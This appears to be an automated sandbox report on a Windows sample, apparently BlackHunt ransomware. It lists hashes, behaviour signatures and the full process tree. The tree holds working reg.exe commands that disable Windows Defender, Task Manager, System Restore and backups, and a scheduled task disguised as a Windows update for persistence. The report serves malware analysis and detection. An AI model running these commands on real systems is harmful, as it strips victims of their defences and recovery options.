Analysis

  • max time kernel
    212s
  • max time network
    205s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-01-2024 01:08

General

  • Target

    dd53567c7686d6cb2352cd679b7602e708e8365fbb8be1f53bc22f25332dc7de.exe

  • Size

    707KB

  • MD5

    a685c07cbb66d303cbb4d269b4a78a6d

  • SHA1

    a1dd6d83271043f8e2b6bd646faaa8aab137f798

  • SHA256

    dd53567c7686d6cb2352cd679b7602e708e8365fbb8be1f53bc22f25332dc7de

  • SHA512

    b5884c77dea9d11118132c8a66fef87661bc0173bab720e13a1d60262a27944ae9fb2c7bd9bdd6995392da2ad3f6271d8892464fb60f65ec7bc08d22b1e71630

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1u82vnh:6uaTmkZJ+naie5OTamgEoKxLWNIh

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\dd53567c7686d6cb2352cd679b7602e708e8365fbb8be1f53bc22f25332dc7de.exe
    "C:\Users\Admin\AppData\Local\Temp\dd53567c7686d6cb2352cd679b7602e708e8365fbb8be1f53bc22f25332dc7de.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:908
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2856
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
        3⤵
        • Modifies registry class
        PID:1860
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:728
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:668
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:436
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
        3⤵
        • Modifies registry class
        PID:3500
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2484
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:4476
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2656
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
        3⤵
        • Adds Run key to start application
        PID:3412
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4964
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
        3⤵
          PID:1012
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2516
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
          3⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:2488
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4132
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
          3⤵
            PID:3236
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:116
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
            3⤵
              PID:1372
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4960
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
              3⤵
                PID:4944
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:992
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                3⤵
                  PID:404
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3540
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                  3⤵
                    PID:1768
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:936
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                    3⤵
                      PID:2676
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4328
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                      3⤵
                        PID:4304
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4404
                      • C:\Windows\system32\reg.exe
                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                        3⤵
                          PID:4324
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                        2⤵
                          PID:904
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                            3⤵
                              PID:2912
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                            2⤵
                              PID:2320
                              • C:\Windows\system32\reg.exe
                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                3⤵
                                  PID:1508
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                2⤵
                                  PID:1484
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                    3⤵
                                      PID:3356
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                    2⤵
                                      PID:1140
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                        3⤵
                                          PID:3104
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                        2⤵
                                          PID:396
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                            3⤵
                                              PID:4820
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:4616
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:468
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:3228
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                    3⤵
                                                      PID:1488
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:184
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:4984
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:3684
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                            3⤵
                                                              PID:4496
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:5048
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                  PID:1716
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:4432
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                    3⤵
                                                                      PID:2308
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:2828
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                        3⤵
                                                                          PID:3412
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:2784
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                            3⤵
                                                                              PID:3288
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                              PID:1860
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                  PID:2028
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dd53567c7686d6cb2352cd679b7602e708e8365fbb8be1f53bc22f25332dc7de.exe" /F
                                                                                2⤵
                                                                                  PID:4472
                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dd53567c7686d6cb2352cd679b7602e708e8365fbb8be1f53bc22f25332dc7de.exe" /F
                                                                                    3⤵
                                                                                    • Creates scheduled task(s)
                                                                                    PID:4400

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v15

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